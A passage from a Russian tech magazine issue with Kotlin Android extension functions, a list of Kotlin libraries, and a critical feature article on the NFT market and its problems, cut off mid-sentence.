PaymentAPI.call(
      mode: "X", # "X": Disable 3D Secure verification
      timeout: 12, # 12 secs is the smallest value that avoids errors
)

Те перь, если зна чение изме нит ся, ком мента рий авто мати чес ки ста нет неак‐ 
туаль ным:

PaymentAPI.call(
      mode: "Y", # "X": Disable 3D Secure verification
      timeout: 15, # 12 secs is the smallest value that avoids errors
)

Ра зуме ется, трюк сра бота ет далеко не во всех слу чаях, но пом нить о нем сто‐ 
ит.

Пять функций-расширений
  —  нес коль ко  полез ных  фун‐ 

кций‐рас ширений для раз работ чиков на Kotlin:
5  More  Kotlin  Extensions  for  Android  Developers

1. Фун кция для про вер ки под клю чения к интерне ту.

     fun Context?.isOnline(): Boolean {
      this?.apply {

                 val cm = getSystemService(Context.CONNECTIVITY_SERVICE) as
ConnectivityManager

             val netInfo = cm.activeNetworkInfo
                 return netInfo != null && netInfo.isConnected

    }
      return false
}

2. Фун кции для показа и скры тия кла виату ры.

     fun View.hideKeyboard(): Boolean {
      try {

     
   

        val inputMethodManager = context.getSystemService(Context.
INPUT_METHOD_SERVICE) as InputMethodManager

 
 

        return inputMethodManager.hideSoftInputFromWindow(
windowToken, 0)
              } catch (ignored: RuntimeException) { }
      return false
}

   fun View.showKeyboard() {
          

   
val imm = context.getSystemService(Context.

INPUT_METHOD_SERVICE) as InputMethodManager
    this.requestFocus()
      imm.showSoftInput(this, 0)
}

Сто ит отме тить, что это наив ный метод показа кла виату ры. Из‐за осо бен‐ 
ностей  работы  Android  он  может  прос то  не  сра ботать.  Более  удач ную
реали зацию  подоб ной  фун кции  мож но  най ти  в  одном  из  пре дыду щих
выпус ков дай джес та.

3. Фун кции зап роса и про вер ки пол номочий:

         fun Fragment.isGranted(permission: AppPermission) = run {
      context?.let {

         (PermissionChecker.checkSelfPermission(it, permission.
permissionName

           ) == PermissionChecker.PERMISSION_GRANTED)
        } ?: false
}

         fun Fragment.shouldShowRationale(permission: AppPermission) = run
{
    shouldShowRequestPermissionRationale(permission.permissionName
)
}

     fun Fragment.requestPermission(permission: AppPermission) {
      requestPermissions(arrayOf(permission.permissionName),
permission.requestCode
    )
}

       
 

fun AppCompatActivity.checkPermission(permission: AppPermission) =
run {
      context?.let {

         (ActivityCompat.checkSelfPermission(it, permission.
permissionName

           ) == PermissionChecker.PERMISSION_GRANTED)
        } ?: false
}

   
 

fun AppCompatActivity.shouldRequestPermissionRationale(permission:
AppPermission) =
      ActivityCompat.shouldShowRequestPermissionRationale(this,
permission.permissionName)

   
 

fun AppCompatActivity.requestAllPermissions(permission:
AppPermission) {
      

 
ActivityCompat.requestPermissions(this, arrayOf(permission.

permissionName), permission.requestCode))
}

4. Ра бота с цве тами:

         fun String.hextoRGB() : Triple<String, String, String>{
          var name = this
      if (!name.startsWith("#")){

           name = "#$this"
    }
          var color = Color.parseColor(name)
          var red = Color.red(color)
          var green = Color.green(color)
          var blue = Color.blue(color)

          return Triple(red.toString(), green.toString(), blue.toString
())
}

     fun Int.colorToHexString(): String? {
                var data = String.format("#%06X", ‐0x1 and this).replace("#FF"
,"#")
      return data
}

Toп 11 Koltin-библиотек
 —  статья  о  новых  и  ста рых  биб‐ 

лиоте ках  с  под дер жкой  Kotlin.  Автор  ведет  рас сказ  с  точ ки  зре ния
бэкенд‐раз работ чика,  но  мно гие  биб лиоте ки  при мени мы  и  для  мобиль ной
раз работ ки.

The  Top  11  Trending  Kotlin  Libraries  for  2021

1.   — так называ емый Kotlin serverless framework. Поз воля ет сге нери‐ 
ровать готовый к запус ку на AWS сер вер из кода при ложе ния.
Kotless

2.   — сов ремен ный фрей мворк для unit‐тес тирова ния. Вклю чает в себя
так же mocking‐фрей мворк и assert‐фрей мворк.
Kotest

3.    —  ORM‐фрей мворк  с  син такси сом,  пос тро енным  на  DSL.
Минима лис тичный и удоб ный в исполь зовании.
Exposed

4.    —  прос той  и  быс трый  фрей мворк  для  соз дания  кли ент ских  и  сер‐ 
верных асин хрон ных сетевых при ложе ний.
Ktor

5.    —  удоб ная  и  прос тая  в  исполь зовании  биб лиоте ка
сери али зации и десери али зации JSON и дру гих типов дан ных.
Kotlinx  Serialization

6.    —  DI‐фрей мворк,  написан ный  на  Kotlin  и  не  исполь зующий  реф‐ 
лексию.
Koin

7.   — фрей мворк для соз дания GraphQL‐сер веров.Netflix DGS framework
8.   — удоб ная в исполь зовании обер тка для MongoDB.KMongo
9.   — встра иваемая неб локиру емая база дан ных без схе мы.JetBarains Xodus
10.   — ана лог JavaDoc для Kotlin.Dokka
11.   — веб‐фрей мворк, базиру ющий ся на DSL.Vaadin

ИНСТРУМЕНТЫ

 — скрипт для про вер ки APK на утеч ки дан ных, эндпой нтов и URI.• Apkleaks

БИБЛИОТЕКИ

 — лей аут с зак руглен ными угла ми;• ArcLibrary
 — вид жет‐рен дерер Markdown для Jetpack Compose;• Compose‐markdown

 — набор ком понен тов для соз дания MVVM‐ и MVI‐при ложе ний;• Sesame
 — биб лиоте ка для бин динга сти левых атри бутов;• Tablespoon

 — набор ути лит для работы с эле мен тами текуще го окна Android;• Curtains
 — биб лиоте ка для тес тирова ния Kotlin Flow;• Turbine

 — биб лиоте ка для генера ции слу чай ных цве тов;• RandomKolor
  —  фрей мворк  для  переда чи  боль ших  объ ектов  в  интентах

без опас ности обру шить при ложе ние;
• Shuttle

 — сег менти рован ный прог ресс‐бар как в исто риях
Instagram;

• SegmentedProgressBar

 — рас ширя емый view в сти ле сгруп пирован ных уве‐ 
дом лений в iOS;

• StackExpandableView)

  —  прос тая  биб лиоте ка  для  реали зации  навига ции  в  при‐ 
ложе нии на базе Jetpack Compose.

• NavCompose
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Три  бук вы,  которые  в  пос леднее  вре мя
встре чают ся  чуть  ли  не  чаще  любых  дру‐ 
гих,  —  это  NFT.  Non‐fungible  tokens,
или  «нев заимо заме няемые  токены»,  —
спо соб  снаб жать  циф ровые  про изве дения
уни каль ной  под писью,  что бы  затем  тор‐ 
говать ими так, буд то это физичес кие объ‐ 
екты.  За  март  2021  года  NFT  стал  нас‐ 
тоящим феноме ном и в мире крип товалют,
и в мире искусс тва. Казалось бы, в чем тут
может быть под вох?

Идея  NFT  сво дит ся  к  тому,  что бы  вмес то  вза имо заме няемых  токенов,
которые  исполь зуют ся  как  элек трон ные  день ги,  выпус кать  и  записы вать
в  блок чейн  уни каль ные,  нев заимо заме няемые.  Такой  токен  —  это  уже
не  валюта,  а  инди виду аль ная  сущ ность,  и  на  каж дый  —  своя  цена.  Токен
при  этом  мож но  свя зать  с  каким‐то  товаром  и  таким  обра зом  перенес ти
на него свой ства токена.

Ин форма ция  о  каж дой  переда че  токена  так же  записы вает ся  в  блок чейн,
бла года ря чему извес тно,  кто в дан ный момент вла делец  товара, а двой ная
про дажа невоз можна. Сами товары при этом обыч но циф ровые, а как имен но
они  хра нят ся  и  как  свя заны  с  токеном —  это  воп рос  отдель ный,  и  раз ные
плат формы реша ют его по‐раз ному.

Вот,  собс твен но,  и  вся  теория.  А  теперь  пос мотри  на  это го  тол стяч ка
в  кос тюме мед ведя  и  ска жи,  что  выложить  за  него  пять  с  неболь шим  тысяч
дол ларов — это нор маль ная, здра вая идея.

В   он ани миро ван, но от это го ничуть не лег че соот нести его
с  цен ником.  Сек рет  кро ется  в  том,  что  таких  « »  нагене риро‐ 
вали  10  тысяч штук  и  ни  одним  чаб биком боль ше. Покупа тели  руководс тву‐ 
ются прос той логикой: если чего‐то сущес тву ет огра ничен ное количес тво, то
оно  будет  толь ко  дорожать  —  так  же  как  и,  к  при меру,  Bitcoin.  И  если  ты
видишь  серь езный  изъ ян  в  этой  логике,  то  не  расс тра ивай ся —  это  совер‐ 
шенно нор маль но!

пол ной вер сии
чаб биков

По доб ных исто рий сей час мно жес тво. К при меру, вир туаль ные миры 
  и    про дают  учас тки  на  манер  Second  Life,  кол лекци‐ 

онная кар точная игра   тор гует кар точка ми с ани меш ными девоч‐ 
ками,  а  авто ры  про екта    при дума ли  рисовать  и  про давать  пик‐ 
сель ные ава тар ки, что бы сок ровище ста ло бук валь но лицом его вла дель ца.

De‐
centraland Cryptovoxels

WAIFU Harem
CryptoPunks

Гром че  все го  выс тре лили пло щад ки,  которые  тор гуют циф ровым искусс‐ 
твом, —  в  пер вую  оче редь  Foundation  и  Nifty  Gateway.  Кар тины  и  ани маци‐ 
онные ролики здесь ухо дят за мил лионы дол ларов.

Как так получа ется, что ник то не видит под воха и люди про дол жают тра тить
бешеные  день ги  непонят но  на  что?  Да  и  есть  ли  вооб ще  эти  люди?  Давай
раз бирать ся.

Карта мира NFT
По ка что рынок NFT — это Дикий Запад, одна ко и ков боям нуж но как‐то ори‐ 
енти ровать ся. Давай быс тро прой дем ся по осно вам,  что бы луч ше понимать
про исхо дящее.  Не  исклю чено,  что  через  год‐дру гой  от  нынеш них  реалий
не оста нет ся и сле да, так что сверь ся с датой пуб ликации статьи.

Что внут ри у NFT?

Тех ничес кая осно ва NFT — это чаще все го Ethereum, точ нее, стан дарт 
,  в  соот ветс твии  с  которым  соз дают ся  смарт‐кон трак ты,  поз воля ющие

выпус кать нев заимо заме няемые токены. Некото рые пло щад ки рас смат рива‐ 
ют воз можность перехо да на Tezos,  так  как он  тре бует мень ше зат рат элек‐ 
три чес тва — под робнее об этом  .

ERC‐
721

в пос те TQ Tezos
Од на  из  важ ных  осо бен ностей  Ethereum  —  необ ходимость  пла тить

за  «газ».  Это  вир туаль ное  топ ливо,  которое  пот ребля ется  при  каж дой  опе‐ 
рации с блок чей ном — в том чис ле выпус ке новых токенов. Поэто му худож ник
может пот ратить, ска жем, 50 дол ларов на то, что бы выс тавить работу на аук‐ 
цион, а про дана она потом будет за 5 дол ларов.

Что про дают при помощи NFT?

То кены  мож но  поделить  на  три  боль шие  груп пы  по  катего риям  товаров,
которые про дают с их помощью.

 Ана лог  тра дици онных про изве дений искусс тва. Собс твен но,
на этой катего рии мы и сос редото чим ся в статье.

• Ис кусс тво.

  Нап ример,  кар ты  в  кол лекци онных  кар точных
играх,  уни каль ные  пер сонажи,  прос транс тво  в  вир туаль ных мирах  и  тому
подоб ные вещи. Отли чают ся тем, что их мож но как‐то исполь зовать.

• Иг ровые  пред меты.

 Спе циаль но соз данные для  кол лекци они‐ 
рова ния  вир туаль ные  кар точки,  фигур ки,  ава тар ки  и  про чие  шту ки  сом‐ 
нитель ной полез ности, но выпус каемые огра ничен ными тиража ми (и иног‐ 
да соз данные алго рит мичес ки).

• Кол лекци онные пред меты.

Су щес тву ют еще и   — пока что наибо лее экспе римен‐ 
таль ная  область.  Музыкан ты  и  дру гие  зна мени тос ти  могут  наг раждать  пер‐ 
сональ ными токена ми сво их пок лонни ков, а один выдум щик в прош лом году
даже    про давать  свое  вре мя  при  помощи  токенов.  Вла дение
токена ми так же может откры вать две ри в опре делен ные зак рытые груп пы —
такой механизм пред лага ет плат форма  .

со циаль ные токены

про бовал

Collab.Land

Gods Unchained — кол лекци онная кар точная игра в духе Magic the Gath‐
ering и Hearthstone

Кол лекция трех мерной обу ви на Rarible

Где все это про дает ся?

Плат формы мож но  поделить  на  две  боль шие  груп пы:  куриру емые  и  не  нак‐ 
ладыва ющие никаких огра ниче ний. Сре ди пер вых —  ,  ,

,  ,  .  Сво бод ные  пло щад ки  —  ,
,  ,  ,  ,  . Отли чие меж ду ними впол не оче вид‐ 

ное  —  пер вые  сле дят  за  тем,  что  у  них  выс тавля ется,  вто рые  поз воля ют
выпус кать токены любому жела юще му.

SuperRare Nifty Gateway
Foundation KnownOrigin MakersPlace OpenSea
Rarible Mintable Portion InfiNFT Cargo

Для  худож ников при  этом выгод нее попасть  на  Foundation или Nifty,  пос‐ 
коль ку покупа тели вни матель но сле дят за всем, что там появ ляет ся. Мно гие
плат формы  такого  типа  (Nifty,  KnownOrigin,  MakersPlace)  спе циали зиру ются
на «дро пах», то есть огра ничен ных по вре мени рас про дажах кол лекций име‐ 
нитых  худож ников.  Nifty  при  этом  еще  поз воля ет  худож нику  зараба тывать
роял ти от переп родаж.

OpenSea

Что  до  пло щадок  вро де  OpenSea  и  Rarible,  то  они  ско рее  для  тех,  кто  сам
себя про рек ламиру ет. OpenSea при этом вооб ще сто ит нем ного особ няком,
пос коль ку  не  толь ко  поз воля ет  выпус кать  токены  и  тор говать  ими,  но  еще
и выс тупа ет бэкен дом для дру гих плат форм.

Что такое «метаверс»?

Тер мин,  по  упот ребле нию  которо го  мож но  отли чить  наибо лее 
замеч тавших ся  крип товалют чиков.  В  воз можнос ти  соз давать  свои  валюты
и за них про давать циф ровые сущ ности им   уди витель ный новый мир.
Точ нее, даже раз ные миры, свя зан ные друг с дру гом рыноч ной эко номи кой.

упо ротых

ви дит ся

Не исклю чено, что в этом что‐то есть. Одна ко при мер но теми же сло вами
и с не менее горящи ми гла зами двад цать с чем‐то лет назад говори ли о вебе
и  покупа ли  пик сели  на  .  Уди витель ное  будущее,
может, и нас тупит,  но некото рые вещи могут  задер жать ся еще лет на двад‐ 
цать, а за это вре мя нынеш ние вло жения пол ностью обес ценят ся.

Million  Dollar  Homepage

БОЛЬШИЕ СДЕЛКИ — БОЛЬШАЯ ШУМИХА
С 2017 по 2021 год мир NFT жил сам по себе и был по боль шей час ти раз вле‐ 
чени ем  для  пре сыщен ных  бит кой новых  богачей. Но  пер вые  гром кие  сдел ки
прив лекли вни мание широкой ауди тории, а вмес те с ним — и новые день ги.

Пер вой такой сдел кой ста ла   мема  .про дажа Nyan Cat

Его автор Крис Тор рес выс тавил на аук цион Foundation спе циаль но перери‐ 
сован ную  и  улуч шенную  вер сию  ани миро ван ной  кошеч ки  и  зарабо тал
на этом 300 ETH, или 637 тысяч дол ларов по текуще му кур су.

Граймс
Ге роиня сле дующе го гром кого эпи зода — певица Грай мс, извес тная в чис ле
про чего  бла года ря  сво ему  зна мени тому  мужу  —  пред при нима телю
и популяр ному мик робло геру Ило ну Мас ку.

Грай мс   на аук цион Nifty серию работ WarNymph, которые соз‐ 
дала  вмес те  со  сво им  бра том,  худож ником  Маком  Бушером.  Собс твен но,
Мак  отве чал  за  визу аль ную  сос тавля ющую,  а  Грай мс  сочини ла  музыку
для корот ких роликов.

выс тавила

Ани мация с тре ком Grimes, ушед шая на Nifty за 7500 дол ларов

Все го  выруч ка  за  WarNymph  сос тавила  в  рай оне  6  мил лионов  дол ларов.
Некото рые  работы  ушли  в  единс твен ном  экзем пля ре,  дру гие  —  тиража ми
в  сот ни  копий.  Допол нитель ный  пиар  пре дос тавил  Маск.  Где,  собс твен но,
искать энту зиас тов таких вещей, как не сре ди его под писчи ков в твит тере?

Бипл
Нас тоящим поворот ным момен том для NFT ста ла про дажа работы Everydays:
the First  5000 Days Май кла Вин кель ман на, более извес тно го по псев дониму

.  Сум ма  сдел ки  —  это  пока  что  абсо лют ный  рекорд  для  NFT  —
69,3  мил лиона  дол ларов.  Это  мно го  даже  за  пре дела ми  крип товалют ного
мира: сре ди работ, про дан ных при жиз ни худож ника, есть все го две сто ивших
дороже. Одна ко инте ресен здесь не толь ко цен ник.

Beeple

Не обыч но  и  само  про изве дение.  «Пер вые  5000  дней» —  это  не  прос то
кар тина,  а  кол лаж  из  пяти  тысяч  изоб ражений,  на  каж дое  из  которых  Бипл
пот ратил  по  одно му  дню  —  отсю да  и  наз вание.  Резуль тат  —  гигант ское
полот но, акку мули рующее тру ды за 13 с полови ной лет.

Фраг мент «Пер вых 5000 дней»

Дру гое  отли чие  этой  сдел ки  —    аук цион ного  дома  «Крис тис».  Хоть
за тех ничес кую сто рону при этом отве чала плат форма Nifty, фор маль но кар‐ 
тина  была  про дана  обыч ным,  тра дици онным  для  боль шого  искусс тва  спо‐ 
собом.  Покупа тель  даже  получил  токен,  офор млен ный  в  виде  физичес кого
сувени ра. По всей видимос ти, целью было имен но убе дить кол лекци оне ров
в серь езности всей затеи.

учас тие

«Пер вые 5000 дней» и дру гие работы Бип ла в виде сувени ров

Прав да, купил кар тину в ито ге не какой‐то музей или вла делец час тной кол‐ 
лекции тра дици онно го искусс тва, а нек то под псев донимом  . При‐ 
меча тель но,  что  этот Метако ван —  вла делец  ,  вкла дыва юще го
день ги в NFT, и ранее он уже при обре тал кар тины Бип ла. Кста ти, еще до исто‐ 
рии с «5000 дня ми» тот   сво их работ на 3,5 мил лиона дол ларов.

Metakovan
ин вес тфон да

про дал
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Бэнкси
Не задол го до исто рии с Бип лом неожи дан ным учас тни ком шумихи вок руг NFT

. При чем сам он никак не был задей ство ван в мероп риятии. Его
работу Morons  (White),  соз данную  в  2006  году,  купила  крип товалют ная  ком‐ 
пания  Injective Protocol за 95 тысяч дол ларов — спе циаль но, что бы устро ить
шоу и про рек ламиро вать свою плат форму  .

стал Бэн кси

SuperFarm

Кар тину  сож гли  и  записа ли  про цесс  на  видео.  Чем отчасти  пов торили  трюк
самого  Бэн кси,  который  в  2018  году  про дал  само унич тожа ющуюся  кар тину
«Девоч ка с воз душным шаром». Сра зу пос ле про дажи она измель чила сама
себя при помощи встро енно го в тол стую раму шре дера.

Бэн кси, прав да, хотел поиз девать ся над богатень кими кол лекци оне рами,
а вот у крип тостар таперов была дру гая идея — они сож гли ори гинал, но под‐ 
писали циф ровую копию при помощи NFT. И сра зу же устро или аук цион, где
циф ровая реп родук ция Morons (White) ушла за 380 тысяч дол ларов.

Мысль  тут  прос тая:  этот  риту ал  был  нужен,  что бы  унич тожить  под линник
и  таким  обра зом  как  бы  передать  этот  ста тус  циф ровой  копии.  Пока  что
подоб ный  фокус  ник то  пов торять  не  стал.  Но  если  вдруг  нач нется  мода
на  сож жение  под линни ков  во  сла ву  NFT,  это  будет  занят ным  раз вити ем
событий!

Как по мне, уро вень иро нии здесь прос то невыно симый. На кар тине Бэн кси
изоб ражен  тот  самый  аук цион  «Крис тис»,  и  наз вана  она  обид ным  сло вом
нес прос та. На ней с молот ка пус кают офор млен ное в тяжелую раму полот но
с над писью «Не могу поверить, что вы, при дур ки, это покупа ете». Что ж, пос ле
миг рации на NFT в это поверить еще слож нее!

Джек Дорси
«Прос то  нас тра иваю  мой  twttr»,  —  написал  осно ватель  Twitter  Джек  Дор си
в 2006  году и отпра вил эту строч ку,  собс твен но,  в  twttr  (глас ные в наз вание
добави ли  поз же),  запос тив  таким  обра зом  пер вый  твит.  Спус тя  поч ти  ров‐ 
но 15 лет Дор си выс тавил его на про дажу через плат форму  .Valuables

Те кущее пред ложение сос тавля ет 1630 ETH — в рай оне трех мил лионов дол‐ 
ларов. Одна ко тор ги на Valuables могут длить ся бес конеч но — пока вла делец
сам не решит, что сум ма его устра ивает.

Дру гая инте рес ная осо бен ность этой плат формы — в том, что автор тви та
не может  сам  выс тавить  его  на  про дажу. Пред ложение об  этом может  сде‐ 
лать толь ко читатель. Он наз нача ет стар товую сум му и оставля ет в ком мента‐ 
риях  спе циаль но  сге нери рован ную  ссыл ку.  Автор  тви та,  если  ему  нра вит ся
эта идея, начина ет аук цион.

Ис торичес кий твит Дор си сей час лидиру ет по цене с огромным отры вом.
К при меру, тви ты Ило на Мас ка пока что сто ят лишь десят ки тысяч дол ларов,
а не мил лионы.

Кста ти, самая популяр ная тема здесь — это шут ки про крип товалю ты. Так что
если у  тебя есть под ходящий вин тажный твит,  то, воз можно, уже ско ро пос‐ 
тучит ся пер вый покупа тель.

И другие
Да леко не каж дую сдел ку соп ровож дает такая же шумиха, хотя сум мы под час
впе чат ляющие. Нап ример, худож ник по име ни Pak в середи не мар та про дал
свою работу   за 444 ETH — поч ти мил лион дол ларов.Finite

Finite

Зо лотая  лихорад ка  не  обош ла  сто роной  и  рос сий ских  твор цов.  К  при меру,
свои наибо лее зна мени тые работы выс тавили Gudim (его мем 

 ушел при мер но за пять тысяч дол ларов) и Дюран — зна мени тый 
при нес ему в рай оне четырех тысяч дол ларов по текуще му кур су эфи ра.

Drowning High
Five Гнво ерк

Еще  успешнее  про дает ся  твор чес тво  груп пы  ,  широко  извес тной
за  рубежом.  Кусоч ки  кли пов  ухо дят  за  десят ки  тысяч  дол ларов,  а 

 был про дан за 100 ETH, то есть 200 с лиш ним тысяч.

Pussy  Riot
пер вый

из них

ПРОБЛЕМЫ NFT
Эн тузи асты NFT любят на все сом нения отве чать фра зами в духе «да вы прос‐ 
то не понима ете». Нас тала, мол, новая реаль ность, а кто в нее не вру бает ся,
прос то оста нет ся брюз жать и пор тить воз дух на обо чине исто рии. Впро чем,
еще  не  поз дно  оду мать ся,  дос тать  свои  сбе реже ния,  скон верти ровать
в «эфир» и успеть зап рыгнуть в пос ледний вагон ухо дяще го поез да.

При  некото ром  уси лии  дей стви тель но  мож но  убе дить  себя,  что  все
в поряд ке. Но чем агрессив нее тебя уго вари вают при нять что‐то на веру, тем
силь нее дол жны рас ти подоз рения. Поэто му мы все же пред при мем попыт ку
понять, разоб рать ся и най ти хотя бы самые оче вид ные изъ яны NFT.

Проблема 1. Копия полностью идентична оригиналу
Сто рон ники NFT напира ют на то, что в искусс тве и в целом кол лекци они рова‐ 
нии  важ на  аутен тичность.  Но  мож но  ли  ее  прос то  взять  и  син тезиро вать
при помощи циф ровых токенов?

Вот,  к  при меру,  та  самая  «Звез дная  ночь»,  которую  Ван  Гог  нарисо вал,
гля дя  из  окна  сво ей  спаль ни  в  боль нице  для  душев ноболь ных  (куда  попал
пос ле  зна мени того  инци ден та  с  отре зани ем  уха).  Люди  спе циаль но  едут
в Нью‐Йорк и пла тят 25 дол ларов за билет в музей сов ремен ного искусс тва,
что бы потол кать ся имен но перед ней, а не перед реп родук цией. Вот они, тол‐ 
кутся, и я тол кусь с ними.

А вот тот самый «Сад зем ных нас лажде ний», который Иеро ним Босх написал
еще  в  1500  году.  Люди  едут  в  Мад рид  и  идут  в  музей  Пра до,  что бы  пос‐ 
мотреть  имен но  на  тот  самый  трип тих  (нес мотря  на  то  что  в  интерне те  его

 нам ного удоб нее). Я тоже схо дил.раз гля дывать

А вот трол лфейс. Автор это го шедев ра недав но   его через Foundation
за 70 тысяч дол ларов.

про дал

Ид ти за ним никуда не нуж но, и тем не менее ты видишь перед собой на экра‐ 
не  точ но  такой  же  трол лфейс,  как  и  я.  Он  пол ностью  иден тичен  тому,  что
рисовал  автор,  как  и  любая  дру гая  кар тинка,  соз данная  на  компь юте ре. Он
бес конеч но тиражи ровал ся до про дажи и будет тиражи ровать ся пос ле. Даже
через 500 лет он будет все таким же, и никого не впе чат лит, что он сох ранил‐ 
ся и дошел до потом ков сквозь эпо хи.

Спра вед ливос ти  ради,  в  мире  искусс тва  все  же  есть  неч то  похожее
на NFT — это под писан ные фотог рафом сним ки. Из циф рового изоб ражения
или  из  пле ноч ного  негати ва  мож но  напеча тать  сколь ко  угод но  физичес ких
копий,  поэто му  на  аук ционах  обыч но  про дают ся  кар точки,  под писан ные
фотог рафом от руки. Здесь,  как и в слу чае с NFT, цен на сама под пись, сто‐ 
ящая рядом с работой (под робнее об этом — в  ).пос те Дже ка Рашера

Под пись фотог рафа Ген ри Леви на отпе чатан ном сним ке

Впро чем, на фотос нимках хотя бы под пись дела ется непос редс твен но рукой
авто ра, а NFT — это в луч шем слу чае ана лог штам па. Но куда боль ше покупа‐ 
телей дол жно вол новать отсутс твие пря мой свя зи меж ду токеном и про изве‐ 
дени ем…
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COVERSTORY  НАЧАЛО СТАТЬИ←

Проблема 2. Слабая связь с реальностью
Мо жет показать ся, что вкла дывать день ги в NFT — при мер но то же самое, что
покупать пред меты искусс тва. Увы, это толь ко лов ко соз данная иллю зия. Пла‐ 
тя  за NFT,  ты  покупа ешь  не  про изве дение,  а  имен но  токен,  и  ничем,  кро ме
токена, вла деть не будешь.

Не  сто ит  путать  NFT  и  с  автор ски ми  пра вами.  Те —  тоже  в  сво ем  роде
информа цион ная сущ ность, но совер шенно дру гая. Пра ва на про дан ное про‐ 
изве дение  оста ются  у  худож ника,  и  если  ты  вдруг  взду маешь  исполь зовать
его кар тину в ком мерчес ких целях,  то автор смо жет успешно судить ся. Счи‐ 
тает ся, впро чем, что это не баг, а фича.
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Су щес тву ет  схе ма,  при  которой  автор  будет
получать про цен ты от пос леду ющих сде лок (нап‐ 
ример,  пятую  часть).  Раз ве  не  спра вед ливо,  что
богатеть  будет  не  толь ко  кол лекци онер,  но  и
худож ник?

Дру гой  побоч ный  эффект  вир туаль нос ти  про исхо дяще го  —  слож ности
с  гаран тиями.  Пос коль ку  мы  име ем  дело  с  нефизи чес кими  сущ ностя ми,
обма нуть покупа теля ста новит ся гораз до про ще. Человек, про дающий токен,
может, к при меру, не быть авто ром работы. Это вро де бы оче вид ное мошен‐ 
ничес тво,  но,  раз  ты  покупа ешь  токен,  а  не  про изве дение,  этот  трюк
при опре делен ных усло виях даже не будет нарушать закон.

Сле дить, что бы такого не про исхо дило, дол жна плат форма и отве чать сво‐ 
ей  репута цией.  Но  пока  плат формы  пло дят ся  ежед невно,  говорить  об  этом
ранова то. Недоб росовес тный раз работ чик может даже потакать мошен никам
или быть с ними в сго воре.

Кста ти,  о  сго воре!  Клас сичес кий метод  напер сточ ников —  исполь зовать
под став ных  игро ков,  что бы  вов лекать  пуб лику.  То  же  иног да  слу чает ся  и  в
мире боль шого искусс тва: худож ник или перекуп щик догова рива ются с фаль‐ 
шивым покупа телем и дела ют вид,  что про дают про изве дение. А затем вся‐ 
чес ки  афи ширу ют  сум му  сдел ки,  что бы  зад рать  цену  на  этот  и  дру гие  свои
товары. В интерне те подоб ными вещами занимать ся лег че лег кого, пос коль‐ 
ку вмес то нас тоящих имен покупа телей мы видим ничего не говоря щие ник‐ 
ней мы, а сдел ки совер шают ся за крип товалю ту.

По гова рива ют,  что  Бипл  имен но  так  «про дал»  (то  есть  передал)  «Пер‐ 
вые  5000  дней».  Пос коль ку  Метако ван  уже  покупал  работы  Бип ла,  шумиха
вок руг этой сдел ки силь но под няла их в цене. Бипл на воп рос о том, получил
ли  он  день ги,  :  «100  про цен тов,  чувак!»  Но  говорить‐то  мож но  что
угод но.

от веча ет

По край ней мере в слу чае с этой сдел кой извес тно, что аук цион «Крис тис»
получил  свою  долю  —  око ло  15  мил лионов  дол ларов.  В  интерне те  плат‐ 
формы‐пос редни ки  тоже  берут  свою  долю,  но  это  не  меша ет  подоз ревать,
что  про цент  недоб росовес тных  сде лок  может  быть  высоким.  Соп ровож‐ 
дающие  тра ты  могут  казать ся  дель цам  ерун дой  по  срав нению  с  будущи ми
при быля ми.

Ра бота Бип ла на «Крис тис»

Пос ледний штри шок — отсутс твие  сущес тву ющих  при меров  того,  как  спор‐ 
ные  воп росы реша ются  через  суд.  Что‐то  под ска зыва ет,  что  судьи  не  будут
рады  стол кнуть ся  с  при чуд ливым  миром  токенов  и  блок чей нов,  а  геог‐ 
рафичес кая  раз бро сан ность  всей  сис темы  даст  мошен никам  допол нитель‐ 
ный шанс скрыть ся от наказа ния.

Проблема 3. Технические сложности
«Из любопытс тва коп нул информа цию о том, как NFT в реаль нос ти ссы лают ся
на медиа, которые ты „покупа ешь“, и мои бро ви выш ли на орби ту луны», — 

  Джон ти  Уоринг  в  твит тере  и  даль ше  про водит  под робный  раз бор  про‐ 
исхо дяще го.

пи‐ 
шет

Ко рень проб лемы — в том, что токен и про изве дение хра нят ся раз дель но.
Нап ример,  плат форма  Nifty  Gateway  работа ет  так.  Для  меди афай ла  с  про‐ 
изве дени ем  соз дает ся  опи сание  в фор мате  JSON. Самое  важ ное  в  нем —
это ссыл ка, ука зыва ющая на сер вер Nifty, который при зап росе перенап равит
бра узер  на  кар тинку,  сох ранен ную  в  рас пре делен ной  фай ловой  сис теме
IPFS.

Зву чит убе дитель но? Если да, то не спе ши оболь щать ся. Дело в том, что
токен,  который  ты  покупа ешь,  —  это  хеш‐сум ма  от  фай ла  JSON,  а  не
от  самого  про изве дения.  Токен  при  этом  хра нит ся  в  блок чей не  Ethereum.
Слу чись что с Nifty, и связь меж ду ними разор вется. Да и IPFS — не гаран тия
надеж ности: информа ция здесь хра нит ся, толь ко пока ее активно зап рашива‐ 
ют.
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Не боль шая ого вор ка:  IPFS может потерять файл,
но  при  этом  оставля ет  воз можность  заг рузить
заново  его  точ ную  копию.  Сис тема  хра нит  хеш
от изна чаль ного фай ла и све рит его, что бы избе‐ 
жать  под делки.  Под робнее  об  этих  нюан сах  —
в  .тре де @scanlime

И  покупа тели,  и  про дав цы,  по  сути,  ока зыва ются  в  пол ной  зависи мос ти
от  вла дель цев  пло щад ки.  Что,  если  те  ока жут ся  нечис тыми  на  руку?  Нап‐ 
ример,  они  могут  взять  и  объ явить  какие‐то  сдел ки  недей стви тель ными,
и нич то не помеша ет им сге нери ровать дру гие токены и про дать работы сно‐ 
ва.  Или  вдруг  вла дель цам  взду мает ся  отка тить  блок чейн,  породив  форк?
Такое  уже бывало  в мире  крип товалют. Или  вот  еще идей ка — начать шан‐ 
тажиро вать кли ентов, тре буя от них опла ты за под держа ние ссы лок на пла ву.
Вари антов мас са!

По ка на кону репута ция тор говых пло щадок, вряд ли их вла дель цы ста нут
занимать ся чем‐то, что отпугнет покупа телей. Но что, если дела пой дут хуже
и  терять  ока жет ся  нечего?  Лежащую  в  лич ном  хра нили ще  кар тину  не  кос‐ 
нулось бы ни разоре ние аук цион ного дома, ни вне зап ное решение его вла‐ 
дель цев  сде лать  плас тичес кую  опе рацию  и  сбе жать  в  Эква дор.  NFT  в  этом
пла не серь езно отли чает ся.

Проблема 4. Может не взлететь
«У меня есть два крип токотен ка, хочу их про дать и завязать с этим», — 
на этот пост на «Ред дите» я сох ранил три года назад как прек расную демонс‐ 
тра цию  проб лемы  с  подоб ными  исто риями.  Автор  пишет:  «Я  зап латил
за них 300 дол ларов и, кажет ся, переп латил. Может мне кто‐нибудь показать,
как их про дать, что бы боль ше о них не думать? И сколь ко они сто ят? Как их
